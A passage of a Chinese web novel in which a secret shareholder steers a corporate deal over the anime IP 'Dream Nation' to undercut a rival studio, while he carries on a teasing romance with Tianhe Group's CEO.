他盯着那个“油”字,大脑瞬间短路,满脑袋都是问号。 可是那群网友不是这么说的啊。 他脑海中立刻浮现出昨晚睡前偷偷搜索的恋爱攻略。 《三句话把你男朋友迷成智障》。 下面评论区一水儿的“楼主神了!已收藏!”,“亲测好用!男票当场变傻狗哈哈!”,“姐妹牛批!学到了学到了!” 最后还跟着一排闪烁着智慧光芒的狗头表情包。 顾鸣鹤当时看着那些热情洋溢的反馈,信心满满。 他甚至特意挑选了其中一条看起来最深情的一条,一个字一个字打上去,郑重其事地发给了时清徵。 但好像结果不是这样色的。 【顾鸣鹤:........】 【你洗了蒜了:再发打死。】 【顾鸣鹤:??】 【你洗了蒜了:全当贩剑处理。】 过了几秒,时清徵又发了一条消息。 【你洗了蒜了:不过先生到时候可以当面说。】 时清徵还没见过顾鸣鹤说土味情话的样子,如果配上他那张脸,效果应该不错。 第70章 《山海纪元》 自从时清徵接手光影娱乐,这位大股东堪称神隐。 而且最近他忙着处理契瓶01,以及和顾鸣鹤的那点事儿,确实把光影娱乐忘在一边了。 要不是今天刷新闻看到程俊安的名字,时清徵一时半会可能还记不起他来。 “程氏娱乐将要联手天和集团打造国民IP《山海纪元》?” 时清徵往下翻了翻新闻的内容报道。 里面一堆假大空的话,百分之八十在吹嘘两者合作会产生多大影响。 剩下百分之二十则是在解释《山海纪元》这个IP。 总之时清徵概括了一下。 大概意思就是事还没成,但是牛逼得先吹出来。 他合理怀疑这篇新闻报道是程氏娱乐花钱找人写的。 可能还花钱买了热搜,不过只挂了一小会,可见程氏娱乐最近是真没钱。 时清徵难得主动一次,掏出手机,点开了那个很久都没再关注过的人的头像。 随后编辑了一条信息发给了光影娱乐总裁周景深: 【你洗了蒜了:听说程氏娱乐快跟天和集团签合同了?】 手机那头的周景深看到这条“诈尸”般的消息,着实愣了一下。 这位向来只存在于概念上的大股东,怎么突然关心起具体业务了? 但他秉着爱岗敬业原则,还是迅速调整状态,回复道: 【周景深:是的,时董。程氏娱乐手上有个原创IP《山海纪元》,网络口碑不错,他们正打算倾力将其打造成国民级IP。不过........】 【周景深:程氏资金链绷得很紧,所以寻求与天和集团联合投资开发。】 【周景深:看架势,是想做全产业链布局。】 时清徵指尖无意识地摩挲着下巴。全产业链?这套路他熟得很。 无非是放大IP影响力,影视剧、游戏、衍生品一条龙收割嘛。 【你洗了蒜了:你怎么看这个项目?】 周景深有点拿不准这位时董的意图,谨慎地斟酌词句: 【周景深:《山海纪元》原著漫画基础扎实,市场反响良好。如果后续动漫化或游戏化成功,潜力确实可观。】 【周景深:单凭程氏自己肯定力有不逮,但若能成功绑定天和集团的资金和渠道,胜算会大增。】 然而,时清徵的下一条信息,让周景深握着手机的手指瞬间僵住,差点以为自己眼花了: 【你洗了蒜了:那你说,咱们把这项目搞黄了怎么样?】 周景深:“......?!” 他盯着屏幕,瞳孔地震,指尖悬在键盘上半天没动,最后才艰难地敲出两个字: 【周景深:搞.......黄?】 时清徵似乎才意识到自己的措辞过于直白,于是慢悠悠地修正: 【你洗了蒜了:友好的商业竞争罢了,别多想。】 周景深深吸一口气,压下心头的惊涛骇浪,试探着问: 【周景深:您......具体打算怎么做?】 时清徵的信息回得轻描淡写。 【你洗了蒜了:FK集团旗下有个IP,《梦国》,还没完全开发,知名度还行。用它去跟天和谈,不是更香?】 《梦国》?! 周景深猛地被自己口水呛到,剧烈地咳嗽起来。 他难以置信地看着那两个字。 那可是近两年席卷全球的现象级动漫IP。 无论是国际知名度,粉丝基础,还是商业价值,跟程氏的《山海纪元》完全不在一个量级。 说句不好听的,《梦国》光是自带的海量粉丝和全球流量,就能把《山海纪元》碾得渣都不剩。 他手指微颤,带着难以抑制的激动敲下回复: 【周景深:《梦国》?!您......您真能让总部把这个IP授权给我们光影来运作?!】 时清徵的回复地很快。 【你洗了蒜了:小问题。你只管负责一件事,把程氏娱乐和天和集团这个项目,给我抢过来。】 巨大的震撼之后,是难以言喻的狂喜和随之而来的沉重压力。 【周景深:明白,我立刻着手准备。】 时清徵只是跟制作《梦国》的公司管理打了声招呼,那边就很快照做了。 毕竟那是顶尖的动漫制作公司,《梦国》也不过是诸多大IP中的一个。 而且还是大股东亲自发话,自然没有拒绝的理由。 另一边,天和集团总裁办公室。 顾鸣鹤埋首于文件堆中,李特助静立一旁,直到顾鸣鹤处理完手头那份,才适时递上另一份文件。 “顾总,程氏娱乐那个《山海纪元》的合作提案,负责部门已经完成了初步审查评估,请您过目。” 顾鸣鹤接过,修长的手指不急不缓地翻动着纸页。 过了一会,他微微颔首: “《山海纪元》这个IP的底子,确实有潜力。” 他语气平淡,听不出太多波澜,随即话锋微转:“但光凭一个程氏娱乐......体量不够,经验不足,胃口却很大。” 程氏娱乐想吞下全产业链,现在的他们撑不起。 李特助立刻接话,补充道:“是,我们了解到程氏为此下了血本,专门从国外重金挖来了一个顶尖的制作团队,试图弥补自身在大型IP运营上的短板。” “呵。” 顾鸣鹤嘴角勾起一丝极淡的弧度。 他随手将那份评估报告往办公桌上一搁。 “态度是摆足了,算盘也打得够响。” 程氏娱乐拿着一个尚未完全成熟的IP,就想撬动天和的巨额投资和他们遍布全国的线下渠道资源。 顾鸣鹤身体向后,靠进真皮椅背,指尖在扶手上轻轻点了点,仿佛在权衡砝码。 “最关键的是,程氏给出的条件让利不够。风险他们想转嫁,收益却不肯多分。天下哪有这样的好事?” 他清楚得很,程氏娱乐如今资金链紧绷,急需天和这剂强心针。 “不急。” 顾鸣鹤重新拿起另一份文件,目光已然移开,语气恢复了平常的淡漠。 “再谈。让他们再好好想想。” “好的顾总。” 晾一晾,等一等。 等程氏自己意识到筹码不足,等他们到了极限的时候自然能拿出更有诚意的方案。 天和集团又不是做慈善的,拿不出让人满意的价码天和集团自然不同意合作。 第71章 《梦国》 时清徵这几日没回半山庄园,而是住在市中心的晋园。 理由很实际,出行便捷,而且离顾鸣鹤上班的天和总部大楼,不过两条街的距离。 顾鸣鹤回到晋园。 走过玄关后,他一眼就看到时清徵正陷在客厅宽大的沙发里,电视屏幕的光变换着颜色落在他脸上。 顾鸣鹤心头那点疲惫瞬间被另一种情绪取代。 他松了领带,走过去,俯身就想在时清徵额角落下一个习惯性的吻。 “唔。” 时清徵头也没回,只是抬起一只手,精准地抵住了顾鸣鹤靠过来的胸膛。 “先生,挡光了。” 顾鸣鹤动作一滞,不满的情绪迅速堆积。 他索性在时清徵身边坐下,声音也沉了几分:“看什么呢?比我还好看?” 带着一丝赌气,他的目光也投向屏幕。 屏幕上正播放着色彩瑰丽而且充满幻想气息的画面,片名赫然是《梦国》。 “你喜欢这个?” 顾鸣鹤有些意外。 时清徵的品味一向难以捉摸,但动漫似乎不在他平时的涉猎范围。 “谈不上喜欢,只是打发时间,顺便看看这部动漫究竟值不值网上的评价。” 时清徵调整了下姿势,依旧没看他。 他原本打算抽时间看一下自己公司名下的IP,贡献一下收视率。 只是没想到顾鸣鹤今天居然回来早了。 顾鸣鹤当然听过《梦国》的名头。 家族里几个年轻小辈上次家族聚会时还挂在嘴边,说是这两年横扫全球的现象级作品。 他记得程氏娱乐那个《山海纪元》,未来规划里也有动漫化一栏,野心不小。 “讲什么的?” 顾鸣鹤随口问,目光却开始在那些精致的画面和流畅的动作上流连。 抛开个人兴趣不谈,作为商人,他敏锐地捕捉到了这部作品背后蕴含的巨大能量,那是一种超越文化隔阂的吸引力。 时清徵似乎在斟酌词句,视线终于从屏幕上挪开片刻,瞥了顾鸣鹤一眼,又落回:“一个以遗忘和铭记为主题的三层梦境世界?设定有点绕,但视觉效果确实烧钱。” 顾鸣鹤知道《梦国》刚出了第二季,热度比第一部更甚。 这种级别的IP,如果能握在手里深度开发绝对能大赚。 “版权在海外吧?我记得是Y国那边一家很大的公司。” 顾鸣鹤随口提起,指尖搭在膝盖上。 顶尖的制作和庞大的资源投入,是这部作品横扫全球的基础。 “嗯,Y国的。” 时清徵应了一声,屏幕上正传出流利的Y语对白。 他看的是原版。 虽然也有国语配音,但他总觉得配音少了点原版味道。 也有可能是因为先入为主的原因。 不过,他和顾鸣鹤本质上都不是动漫迷,新鲜感一过,半小时后,客厅里只剩下新闻频道平稳的播报声。 时清徵这才抽空望着顾鸣鹤:“先生你今天怎么回来的这么早?” “因为工作忙完了。”顾鸣鹤在他嘴角处亲了亲。 时清徵:“也对,这儿离天和挺近的。” 先前顾鸣鹤从天和到半山庄园,每次都得多花半个小时的车程。 时清徵一时间没反应过来,把这件事给忘了。 顾鸣鹤摸了下他的脸,又忍不住捏了一把:“看你成日里这么闲,不如去公司给我当助理?” 时清徵笑了:“先生还真是人尽其用啊,难怪是大资本家。” “乱说什么呢。” 顾鸣鹤抬手又去捏时清徵。 时清徵哪能如他的愿,直接一个侧身灵巧地躲了过去。 但顾鸣鹤并没有打算放过他,伸手把人捞了回来,按在怀里揉捏。 “先生可不就是会压迫人,见不得我闲着。”时清徵笑得眉眼弯起。 顾鸣鹤也跟着笑,附在人耳边:“宝贝儿,我只会在床‖上压迫你。” 时清徵:........ 晋园这边的别墅并没有住家保姆,所以每次顾鸣鹤回哪都会由李特助跟保姆联系。 然后保姆才会来这里准备晚饭。 但是顾鸣鹤今晚是打算带时清徵出去吃的,所以家里并没有人来。 时清徵坐在副驾驶座上,想了想,对顾鸣鹤说:“既然这边方便,那我们以后都住这。” 但其实半山庄园的风景更好一些,而且占地面积更大。 顾鸣鹤想都没想地说道:“你喜欢就行。” 偶尔换个氛围也是不错的。 他带时清徵去的是一家私房菜,要提前好几天预定,环境很是不错。 里面的装潢简单清幽,很有格调。 “这家菜挺不错的,我猜你肯定喜欢。”顾鸣鹤一副求表扬的模样。 时清徵:“那得吃了才知道。” 二人刚走上楼梯,后面就传来一声清亮的男音。 “鸣鹤哥哥。” 顾鸣鹤:? 时清徵:? 顾鸣鹤疑惑回头,就看见一个身量不高的男生跑了过来。 身形有些瘦弱,头发是深褐色,看起来是很乖巧的那种长相。 此时他脸上绽开了毫不掩饰的欣喜,正目光灼灼地看着顾鸣鹤。 “太好了鸣鹤哥哥,没想到能在这里碰见你。” 何子谦伸手就准备去挽住顾鸣鹤的手臂。 顾鸣鹤皱着眉侧身躲开了,让何子谦扑了个空。 这人谁啊? 顾鸣鹤正疑惑呢,结果就对上时清徵一脸探究的眼神。 顾鸣鹤:........!!! 下一秒,顾鸣鹤:“你谁啊,谁是你哥哥?” 何子谦脸上的笑容瞬间凝固,下一秒眼中就弥漫起水汽,露出了一脸受伤的表情。 “鸣鹤哥哥,你,你不记得我了?” 顾鸣鹤被这甜腻腻的称呼喊地头皮一麻,脸上露出难以言喻的嫌弃。 随后扯着时清徵的手低声解释:“我不认识他,我们快走。” 时清徵没动,而是有些好奇地看着何子谦。 只见何子谦已经迅速收起了那一副伤心模样,强装欢喜:“没关系的鸣鹤哥哥,我理解你,毕竟你工作这么忙,记不住我也正常。” 顾鸣鹤:“你在讽刺我记性差吗?” 何子谦一愣,连忙摆手:“我没有,我只是觉得你太辛苦,所以........” 顾鸣鹤一脸莫名其妙:“你知道我辛苦还挡着我的路不让我去吃饭?” “别挡道。” 第72章 我也就随便解释两句 何子谦脸上的欣喜瞬间被冻结,受伤地后退一步,眼睛以肉眼可见的速度变红了。 “鸣鹤哥哥,我没有别的意思,真的只是想过来给你们打一声招呼。” 他急切地重复自己的名字:“我叫何子谦,我爸是何立秋,上次我们还在陈叔叔的宴会上见过。” “那时候我给你敬过酒呢,你那时还朝我笑了一下,你不记得了吗?” 何子谦小心翼翼地看着顾鸣鹤的脸色,手指绞紧衣角。 时清徵:....... 他还以为能听到什么豪门恩怨或者狗血故事呢,结果就这? 顾鸣鹤被何子谦充满回忆感地描述弄得一愣,似乎在努力翻找着什么记忆。 过了一会他才恍然大悟道:“哦......” 何子谦:“你记起我了?” “不认识。” 顾鸣鹤语气干脆,冷漠,还带着些不厌烦。 随后揽住时清徵的肩,动作亲昵地将人带走了。 “别挡着我们。” 说罢,脚步未顿地从何子谦旁边绕了过去。 顾鸣鹤刚开始还以为真是哪家需要给点面子的世家小辈,想着给点面子应付一下,结果就真的只是一个不知道从哪冒出来的小角色。 何子谦看着两人走远的背影,原本乖巧温顺的面孔上有一丝扭曲。 目光死死盯着顾鸣鹤,眼中闪过不甘心和偏执。 明明是他从小就喜欢鸣鹤哥哥的,凭什么鸣鹤哥哥对他爱搭不理? 他身边跟着的那个人又有什么好? 不过长了一张好看的皮囊罢了,不过是声音好听了一点。 他有自己那么喜欢鸣鹤哥哥吗?他对鸣鹤哥哥是真心的吗? 方才躲在鸣鹤哥哥背后一句话都不敢说,鸣鹤哥哥怎么可能真喜欢这样的人。 虽然这么想着,可眼神中还是明显带上几分妒忌,不过更多的却是羡慕。 “鸣鹤哥哥.......” 时清徵虽然没有回头,但也能感受到背后有人一直在盯着他。 但他并没有往心里去。 顾鸣鹤一边走一边跟时清徵嘟囔:“我都不知道他是从哪儿冒出来的,我还真以为我妈给我生了个弟弟呢。” “你真不认识他?” 时清徵瞧了顾鸣鹤一眼。 顾鸣鹤被时清徵这一眼瞧得一激灵:“我的确认识他,不过没见过几面,根本不熟!” 他刚才只是怕那个何子谦死缠烂打,所以才说出根本不认识他的话,想让他赶快滚。 时清徵点头:“嗯,不熟,叫你鸣鹤哥哥。” 顾鸣鹤感觉心一紧,忙解释:“我爷爷跟他何家老爷子又交情,以前见过几面。” “嗯,那你还对他笑。” “之前我跟他们何家有一个合作,一起参加过宴会,那时候他跟在他爸旁边来给我敬酒,所以我才有那么一丁点印象。” 说着,他还伸出两根手指比划了一下。 “就那么一丁点。” 时清徵笑了一下:“先生别紧张啊,我就随便问问,又没说什么。” 顾鸣鹤傲娇脸:“我也就随便解释两句而已。” 顾鸣鹤说着,眼珠子一转:“时小徵,你是不是吃醋了。” 意识到有这种可能,顾鸣鹤唇角开始压不住了。 时清徵:....... “先生觉得呢?” 顾鸣鹤亲昵地靠近他:“我的心在你那呢~” 时清徵哼笑一声:“先生的心要是不在我这,我就收拾你。” 顾鸣鹤眼神委屈,但说话时又透露出得意来:“时小徵,你越来越凶了。” 时清徵:“........” 顾鸣鹤美滋滋地道:“不过我喜欢。” 时清徵微笑,但什么都没说。 .......你不喜欢一个试试呢? 吃完饭之后,顾鸣鹤扯着时清徵就往外面走,美其名曰:散步消食。 这儿附近有一条江,江的两岸都是繁华的商业区和中央商务区。 从江边看去,还能看见天和集团的几栋大厦。 远远都能看见那大楼上白色发光的“天和集团”大字。 时清徵还没有真正静下心来去观察这座城市。 这个时间点来江边散步的人不少,甚至还有跳广场舞的大妈。 老远都能听到那动感的音乐,连走路的脚步都无意契合了节奏,让人有些别扭。 时清徵忽然停住了,静静地看着江面,江面上满是霓虹,倒映出斑驳陆离的光影。 他的眸色幽暗,不知道在想什么。 顾鸣鹤的一只手搭在他的肩上,另一只手靠在江边石栏上,也不看江,就含笑看着时清徵。 “时小徵,你还没跟我讲讲你以前的事情呢。” 时清徵:“你很关心这个?” “我就是好奇,毕竟在乎一个人就是要关注他的一切。” 时清徵没说话,双手搭在面前的石栏上。 晚风撩起他的头发,顾鸣鹤能闻到时清徵身上的香味。 是洗发水的味道,和他的一样,都是柠檬清香。 “我以前......”时清徵开了个头,还没进入正题就顿住了。 顾鸣鹤竖起耳朵听。 “嗯哼,然后呢?” “然后......算了。”时清徵话锋一转。 顾鸣鹤扬眉道:“时小徵,你这可就没意思了,话说一半算什么,钓着我?” “不太想说,下次吧。” “行吧。”顾鸣鹤搭在时清徵肩上的那只手轻轻蹭了下他的侧颈。 “那我给你讲讲我小时候。” 顾鸣鹤的声音带着点笑意。 时清徵还真被勾起了好奇心。 顾鸣鹤小时候能是什么样他想象不出来。于是很自然地歪过脑袋,一副洗耳恭听的架势。 顾鸣鹤也不扭捏,甚至有点“破罐子破摔”的坦荡: “说出来你可能不信,我小时候不是什么安分的主儿,跟那些胡同里窜的小混混比也就好上那么一丁点儿。” 他和宋燕归,靳云封那帮家伙,都是穿开裆裤就认识的交情。 尤其七八岁狗都嫌的年纪,几个半大男孩凑一块儿,那叫一个无法无天,臭屁得能上天。 学着评书里拜把子,桃园结义那一套玩得可溜了,还非得歃血为盟。 但是血是没有的,偷了他爸酒窖里的好酒当血酒,差点没被打断腿。 整天嚷嚷着要拯救世界,匡扶正义,看谁不顺眼就自封正义使者去替天行道。 最后没少被家里揪着耳朵拎回去。 有一次还还异想天开搞什么秘密基地,把宋燕归家后花园的假山掏了个洞,结果一场大雨给淹了。 顾鸣鹤说着说着,自己都忍不住了,有种往事不堪回首的感觉。 现在想起来,全是黑历史。 “看出来了。”时清徵忍不住笑道,“顾先生现在也不是什么安生的主儿。” “有吗,我现在其实很沉稳。” 时清徵煞有其事道:“最开始一段时间我也是那么认为的。” 顾鸣鹤凑到人耳旁笑道:“后来你发现不是了?” “对,是先生原形毕露了。” 顾鸣鹤今晚出来穿的是休闲装,和时清徵的还是同系列。 两人都是姿色出众,引得路人频频看去。 时清徵:“先生,我累了,我们回去吧。” “好。” 第73章 下班时间碰到上司是一件很晦气的事情 两人走远后,几个人才偷摸从角落里走了出来,都是天和集团的员工。 其中一人夸张地张大嘴:“我没看错吧,刚刚那是顾总?” “嗯,如果我们没出现幻觉的话。” “我感觉顾总身边那个帅哥有点眼熟啊。” “是之前来找顾总的那一个吧?” “窝草,你这么一说我想起来了,他们......不会吧。” “哎,就我感觉下班时间碰到上司是一件很晦气的事情吗?” 顾鸣鹤和时清徵两人自然都知道暗处有人在偷看他们,不过他们都以为对方不知道。 “时小徵。” 顾鸣鹤忽然伸出手,轻轻揉了一下时清徵的发顶。 时清徵被这突如其来的亲昵动作弄得微怔,随即轻哼一声,偏了偏头:“先生,有什么话你可以直说。我发现了,你现在是越来越爱拐弯抹角了。” 顾鸣鹤的动作顿住。 他并非刻意拐弯抹角,只是刚才一瞬间,脑海里不由自主地闪过那些查到的关于时清徵过往的资料。 那些碎片拼凑出的孤寂与挣扎像一根刺,扎得他心口微微发疼。 那些在舌尖滚了几圈的话最终化作了一句承诺: “以后,我会照顾好你的。” 时清徵闻言,抬眸看向他,唇角勾起一个带着点安抚意味的弧度: “谢谢先生的好意。” “不过,我也能照顾好自己。” 顾鸣鹤:“嗯,那我们一起照顾你。” 顾鸣鹤未曾向时清徵提及的是,他幼时确曾有过一段短暂恣意的时光,只是那点微末的嚣张随性,终究未能长久。 他的父母,本就是一场冰冷的家族联姻,毫无情意可言。 在他降出生之后,母亲伤了身子再也不能生育。借此跟他的父亲彻底划清了界限。 身为长子的父亲,却是个扶不起的阿斗,不堪重任。 甚至在顾鸣鹤九岁那年,他的父亲因为情妇跟顾母谈离婚,在京城世家中闹得沸沸扬扬。 顾家颜面扫地,顾老爷子恨极了这个大儿子,但又无可奈何。 于是,顾鸣鹤自此便被顾老爷子亲自带在身边教养。 身为长孙,他承载着祖父最深的寄望,也承受着最为严苛的要求。 后来,因着某种契机,他步入了第七局。 这些沉埋的过往并不是什么好的回忆,此刻的他,尚不会对时清徵言说。 ———— 自从时清徵跟周景深说了IP的事后,周景深就找人联系的天和集团的文娱事业部负责人发了条邮件。 内容就是有一个顶级IP资源,希望能探讨深入合作。 光影娱乐先前并没有与天和集团的合作,而且顾鸣鹤也不是那么容易联系到的。 文娱事业部负责人把这封邮件的信息整理交给了李特助。 李特助给周景深打电话确认。 周景深表示希望李特助牵线,安排一个简短的会面。 “可以问一下周总是什么IP吗?” 周景深:“是这样的,受FK总部委托,就《梦国》在A国市场,特别是与天和集团的合作事宜。” “FK总部对此合作高度重视,并授权我们光影娱乐,希望李特助代为转达。” “好的周总,我会把您的意思转达给顾总。” 第二天上班期间,李特助把这件事告诉了顾鸣鹤。 “光影娱乐要与我们合作?” 顾鸣鹤还有些疑惑。 “是的,是光影娱乐的周总亲自联系的我。” “《梦国》?这可不是一个小IP,光影背靠FK集团,怎么舍得把它拿出来分。” 若是程氏娱乐他还能理解为对方缺钱,但光影娱乐一不缺钱,二不缺技术资源,完全没这个必要和他们合作。 李特助:“可能是因为程氏娱乐?” 作为娱乐公司,程氏娱乐和光影娱乐可以说各占半壁江山。 虽然光影娱乐没有程氏集团根基深厚,但是它的背景硬。 如果能把程氏娱乐一把按死自然是光影娱乐喜闻乐见的。 “那就约个时间见见吧。” 顾鸣鹤随意道。 虽然顾鸣鹤和周景深没有合作过,但是也听过他,是个狠人。 不然也不可能当上光影娱乐的执行总裁。 这边时清徵也收到了周景深发来的消息。 【周景深:时董,打扰了,关于与天和集团合作的初步方案以及核心条款框架,我们团队已经根据《梦国》的IP价值和总部那边的授予权限拟定了草案。】 【周景深:请您过目审阅。】 【周景深:<附件>】 时清徵点开了周景深发过来的附件。 里面的条款密密麻麻,但是核心利益都很清晰。 光影娱乐这边没有把姿态放的很低,毕竟手握王炸。 【你洗了蒜了:大体可以,你自己安排就好。】 时清徵对过程并不看重,重要的是结果。 下面的人负责做事,他就是个查收的罢了。 【周景深:好的,今晚我会与天和集团的顾总亲自面谈,到时候再过问您的意见。】 【你洗了蒜了:你不用管我,你比我专业,我信任你。微笑jpg.】 【周景深:好的时董。】 另一边周景深放下手机,一脸欣慰。 这才是好上司啊,不对专业人士指手画脚。 还会给光影娱乐提供资源。 真是打着灯笼都找不到的好上司啊。 哪一个打工人不希望有一个不事儿逼的上司呢? 周景深似乎已经看到了光影娱乐一片光明的前程了。 刚应付完周景深,就又有几条消息弹了出来。 【顾鸣鹤:我今晚要应酬,你自己早点休息。】 【顾鸣鹤:亲亲jpg.】 【你洗了蒜了:好的,先生少喝酒哦。小猫贴贴jpg.】 顾鸣鹤看到时清徵的回复,心满意足地收起手机,笑的一脸荡漾。 整个人从内而外散发着一股恋爱的酸臭气息。 李特助看着坐在椅子里的顾鸣鹤,总有种自家总裁下一秒就会站起来跑个八百米的错觉。 他真是上班上疯了。 时清徵关掉与顾鸣鹤的聊天界面后,手机震动了一下。 是江南月打来的电话。 话说江南月去碎洲也有一段时间了,不知道那边的事处理的怎么样了。 第74章 时间的时 时清徵接起电话。 对面清亮的女音响了起来。 “歪,万岁啊,你最近怎么样啊。” 时清徵单手拿着手机走到桌边给自己倒了一杯水。 “无事不登三宝殿,你老人家又有何贵干呢?” “害,就不能是我想关心一下你吗?” “别。”时清徵连忙打断她。 “你找我准没好事,快说。” 江南月:“是这样的,我原本在碎洲不是有个核心研发团队吗,这次回来也是因为黑潮公司那群人把团队连带资料全给劫了。” “我们的人是追回来了,但是核心资料被拿走了。” “我们查了那群人的动向,资料被运到东南群岛那边了。” “我这里还忙着收拾黑潮公司,抽不出手去管它,你帮我跑一趟把东西追回来。” 时清徵安静听着,顺便喝了口水。 “我明白了,我过几天会去一趟东南群岛。” “那就麻烦你了。” “你知道麻烦就好。” 江南月:“........还有一件事,之前你让我查的古董瓶子有些眉目了。” “根据我们的线人传来的消息,它的确是在卢卡斯手上,不过卢卡斯把它看得很严,我们的人靠近不了。” 时清徵:“嗯,不着急,只要人跑不了就行。” “那是,我还能让他给跑了?再给我几个月,老娘TM把他家祖坟都能刨出来。” 江南月几乎是咬牙切齿地说。 可见她这次的确被气得不轻。 新仇旧恨一起算,估计碎洲那边有的乱了。 时清徵鼓励道:“好的,你加油,我这边还有事,先挂了。” 虽然江南月告诉他核心资料可能被送到了东南群岛,但是具体并不知道在哪个位置。 这样时清徵还得让底下人去查一下。 但是东南群岛那块地儿乱的很,一时半会也查不到什么。 等到那边先查出点苗头来再说,不然他去了也没用。 而且时清徵是真的不太喜欢那块地方,能少去就少去。 除非迫不得已,他是不会跑那边去玩的,一般都是去干正事。 顾鸣鹤今晚应酬,时清徵也就没让保姆来做饭,自己随便下了点面条糊弄几口。 时清徵厨艺虽然小白,但是基本常识还是有的。 比上不足,比下有余。 下自然指的不是一般人,而是指江南月那种厨房天才。 跟江南月的厨艺比起来,时清徵实在称得上五星级大厨了。 有幸喝过一次江南月调的酒,自此很长一段时间,时清徵都绕着她走。 那味道,简直让人汗毛直立。 —— 包厢门被侍者推开,顾鸣鹤和李特助走了进去。 周景深早已等候多时,见状立刻起身,笑容得体地伸出手: “顾总,久仰大名,幸会。” “周总客气。” 顾鸣鹤与他短暂一握,声音平稳无波。 落座后,侍者斟酒,两人依着惯例,先是寒暄了几句别的,不动声色地试探对方。 几轮杯盏后,话题才自然地汇入正题。 周景深脸上依旧挂着职业化的笑容,但眼神专注了几分:“顾总,想必我们提交的《梦国》合作框架文件,您已经过目了?不知您有何高见?” 顾鸣鹤目光落在周景深脸上:“《梦国》的确是颗分量十足的王牌。周总好手段,竟能将它作为光影的筹码。” 他语气平淡,却暗含一丝不易察觉的探询,光影娱乐何时有了撬动FK核心IP的能量? 周景深笑容不变,姿态放得很低:“顾总谬赞了,这并非我的本事,其实是总部的战略部署。我不过是负责执行罢了。” 他巧妙地将功劳和压力都推给了看不见的总部。 顾鸣鹤自然知道光影是FK在东洲的一个子公司。 FK集团水有多深连顾鸣鹤也无法判断。 之所以知道FK的底细还是因为顾鸣鹤在第七局任职。 FK集团近年来对明面业务愈发重视,其黑白通吃的野心昭然若揭。 顾鸣鹤抿了口酒,状似随意地抛出一个问题: “总部?” 他放下酒杯:“看来FK总部对光影相当器重。听闻,贵司最近空降了一位总部来的高层?” 天和的情报网不是摆设,更何况FK总部有人空降光影娱乐并算不上什么秘密。 不过虽然知道有人空降,但是除了周景深,也没有其他人知道这位高层的底细。 周景深心知肚明,坦然点头:“是。这次的合作,正是由那位时董亲自推动并授权。” 顾鸣鹤身体微微前倾,仿佛只是好奇:“哦?如此重要的合作,怎么不见这位时董亲自来谈?” “我们时董行事低调。” 周景深应对自如,语气带着恰到好处的恭敬:“他通常不直接插手具体事务运作,只把握大方向。” 说的那叫一个好听。 顾鸣鹤眼底闪过一丝极快的光芒,快得让人难以捕捉。 他像是忽然想起什么无关紧要的细节,随口问道:“这位新高层姓石?磐石的石?” 周景深只当是寻常信息确认,爽快答道:“是时间的时。当然,这只是时董的中文名。” 他顿了顿,补充道,带着一丝恰到好处的无奈与谨慎:“至于时董的来历底细,我这个层级,确实不够清楚。” “时间的时.......” 顾鸣鹤低低重复了一遍,声音很轻。 随即他端起酒杯,将杯中剩余的酒液一饮而尽,掩去了眼底深处翻涌的若有所思。 一说到这个他就情不自禁想起他家时小徵来,现在他在干什么呢? 会不会在想自己。 这些念头只是闪过一瞬,顾鸣鹤很快就收起了心思。 “原来是这样。” 他放下空杯,脸上已恢复了一惯的沉稳。 酒过三巡,核心条款在你来我往中基本敲定。 光影娱乐开出的条件甚至略微超出了顾鸣鹤最初的预期。 对方在核心利益上寸步不让的同时,却在渠道分成和长期绑定上给出了极具诱惑力的空间。 “周总”, 顾鸣鹤放下酒杯,身体微微后靠,目光锐利地锁定周景深,“我还有一个问题。” 第75章 先生,还有更坏的呢 “顾总请讲。” 周景深笑容依旧,但后背的肌肉几不可察地绷紧了。 “为什么是天和?以《梦国》的分量和FK的底蕴,你们的选择很多。甚至不需要找本土巨头合作,FK自己就能吃下大部分。” “为什么是光影,又为什么偏偏是找上天和?” 周景深迎着他的目光,神情坦荡而诚恳:“顾总过谦了。天和集团在东洲乃至A国的商业版图与影响力,举足轻重,无人能及。 光影娱乐要深耕A国市场,尤其是打造《梦国》这样的全球IP本土化标杆,天和是我们最优,也是唯一能想到的顶级战略伙伴。 我们需要天和遍布全国的黄金渠道以及顶级的项目管理能力。” “当然还有顾总您本人的战略眼光和决断力。” 这个回答滴水不漏,既捧高了天和,又点明了合作的必要性。 但顾鸣鹤并未移开视线,那目光带着些无形的压力,让周景深都有些难以维系表面的淡定。 包厢内陷入短暂的沉默,周景深能感受到自己略微加速的心跳。 他端起酒杯,借喝酒的动作短暂地避开顾鸣鹤的直视。 放下杯子后,周景深表情上出现了几分犹豫。 最终还是坦诚道:“为了确保《梦国》项目在天和体系内获得最顶级的资源倾斜和独一无二的定位,我们的确还有一个附加条件。” 顾鸣鹤眉峰几不可察地动了一下,但表情纹丝未动,只是眼神示意他继续。 周景深吸了口气,缓慢地说道:“我们希望,在天和集团正式与我们签署《梦国》战略合作协议的同时,能立即终止与程氏娱乐关于《山海纪元》IP的任何排他性谈判或意向签署流程。” 他顿了顿,补充道:“当然,这是基于商业战略排他性的考量,确保天和的核心资源全力聚焦于《梦国》这一顶级项目。” 顾鸣鹤没有立刻回应。 他垂眸看着杯中残留的酒液,手指在玻璃杯壁上缓缓摩挲着,嘴角似乎勾起了一抹极淡的弧度。 “呵......” 一声低沉的笑,顾鸣鹤抬眼,目光重新落在周景深脸上。 “可以。” 周景深松了一口气,端起酒杯道:“那就预祝光影娱乐与天和集团合作顺利。” 酒杯在灯光中清脆碰撞,在握着酒杯的手中折射出光彩来。 结束后,时清徵收到了周景深的消息。 【周景深:时董,谈好了,对方答应地很痛快。】 【你洗了蒜了:干得不错。】 周景深犹豫了一下,还是把刚才的事说了出去。 【你洗了蒜了:说个姓而已,小问题。】 【周景深:好的,那后续若是出现问题我再请示您。】 【你洗了蒜了:........随便你。】 时清徵只在乎结果,那就是程氏娱乐的合作被搞黄了。 满意。 顾鸣鹤回来时见二楼窗户里的灯是灭的,以为时清徵睡着了。 结果刚走过玄关,就看见盘腿坐在沙发上的时清徵。 灯没开,手机在一旁亮着,发着很淡的微光。 怎么不睡? 顾鸣鹤走近,俯身,指尖轻触时清徵的脸颊。 “在等我?”他低声问,气息若有似无地拂过。 时清徵眼帘微抬,声音带着点懒洋洋的倔:“嗯,等的不是你。” 顾鸣鹤低笑一声,指腹蹭过他下颌,带着不容置疑的意味:“除了我,这儿还有谁值得你等?” 时清徵偏头,似笑非笑地迎上他的目光:“所以先生何必明知故问?” “你学坏了。” 顾鸣鹤轻轻捏了下他的鼻尖。 时清徵顺势用手环住顾鸣鹤的腰,脚轻蹭着他的裤腿。 “先生,还有更坏的呢。” ———— 